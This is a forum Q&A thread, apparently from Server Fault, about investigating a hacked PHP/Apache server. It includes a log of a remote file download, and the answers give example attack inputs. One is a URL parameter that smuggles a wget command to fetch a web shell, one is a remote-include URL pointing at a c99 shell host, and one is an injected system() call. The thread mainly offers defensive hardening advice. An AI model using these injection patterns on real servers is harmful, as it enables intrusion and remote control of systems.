1

one of our CentOS boxes that runs PHP/Apache was recently hacked. Luckily we were going to retire this server soon and have backups etc. However, I need some help in finding how the hackers were able to get in.

From what I have gathered, it appears that some scripts were written to our servers using apache (perhaps a PUT?) in apache error_logs I see:

    [Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php   
    --2010-09-10 12:46:45--  http://208.75.xx.xx/newmax/max.txt
    Connecting to 208.75.xx.xx:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 28975 (28K) [text/plain]
    Saving to: `max.txt'

         0K .......... .......... ........                        100%  184K=0.2s

    2010-09-10 12:46:45 (184 KB/s) - `max.txt' saved [28975/28975]

      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    ^M  3 28975    3  1140    0     0   8597      0  0:00:03 --:--:--  0:00:03  8597^M100 28975  100 28975    0     0  88203      0 --:--:-- --:--:-- --:--:--  139k
    sh: lynx: command not found
     [Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php

(first and last line are just dummy error lines to indicate the log format and weirdness of how the entries are in between).

Any ideas how apache error log would have this format and how it might have been triggered?

I will add more to this question as I come across more findings.

1
  • PHP is the most likely culprit - try auditing your PHP config (I wrote a script for auditing and fixing insecure configs - you can get a copy @ php-security-audit.com if you like)
    – danlefree
    Sep 29, 2010 at 4:25

2 Answers 2

2

I would guess that register_globals is turned on and you're running OSCommerce without the four patches in their forums. Why they refuse to update the .zip/.gz files with the patches, I don't know.

I suppose that max.txt is probably c99 shell and is downloaded into your /store/images path as something.php. Once they are able to run that file in a browser, they have a remote shell.

If you're not running OSCommerce, look for hits on your include files. I.e. you may have a function.php file that shouldn't be called directly that has:

exec($path . 'convert blahblah');

a request is sent with:

hxxp://yoursite.com/function.php?path=wget%20-O%20/path/to/something/web/accessible/file.php%20hxxp://blahblah

which allows them to write a file to the disk that can be remotely executed. It is also possible that they used an XSS exploit in your code to do something like:

require($webpath . '/functions.lib.php');

and a request was sent through with ?webpath=hxxp://c99shell.com/location.txt? which gave them a remote shell. Once they got the remote shell, they tried to run wget/lynx (or uploaded a shell script to run a number of methods to make sure their payload was installed)

In this case, allow_url_include=off could help.

2

A typical way to hack a server goes like this:

1) Server has PHP running with default settings; this means no safe_mode, all the POSIX functions are allowed (such as system()) and couple of versatile yet dangerous PHP modules, such as curl, are activated

2) Server has /tmp (or whatever the temp directory for http uploads is) mounted with default settings; this means it allows files to be executed.

3) Server has /var/www (or whatever the mount point for webroot is) mounted with default settings; this means it allows files to be executed.

4) There's a homebrew PHP script with weak input validation / a known vulnerability in some CMS or other software installed.

In an environment like this an attacker can upload an evil file via http or instruct the server to fetch one from a remote server, and then just run that script by passing some URL parameters which lacks input validation.

If a PHP script does not validate the input, the URL parameters (or POST request) could contain stuff like <?php system("/tmp/pwn4g3"); ?>. karmawhore already explained this.

So, to stop this kind of evilness:

  • mount webroot and PHP temp directory with noexec flag.
  • disable dangerous functions in PHP if possible
  • use PHP's safe_mode if possible (even though it's far from fool-proof and maybe completely removed over time).
  • don't allow Apache user to use gcc, or even better, don't install gcc to your webserver at all.
  • use mod_security.
  • use suhosin.
  • use php-fpm, suphp or other techniques to run scripts as their owner accounts instead of general Apache account.
  • keep your software up to date.
3
  • For completeness, it looks like safe_mode is already deprecated: php.net/manual/en/features.safe-mode.php
    – Joril
    Sep 29, 2010 at 11:47
  • Yes, safe_mode has been deprecated for a long time already, but I'm not holding my breath for seeing it really going away... Sep 29, 2010 at 11:49
  • How can php-fpm be used to execute scripts from the file owners account? Sep 30, 2010 at 19:39

You must log in to answer this question.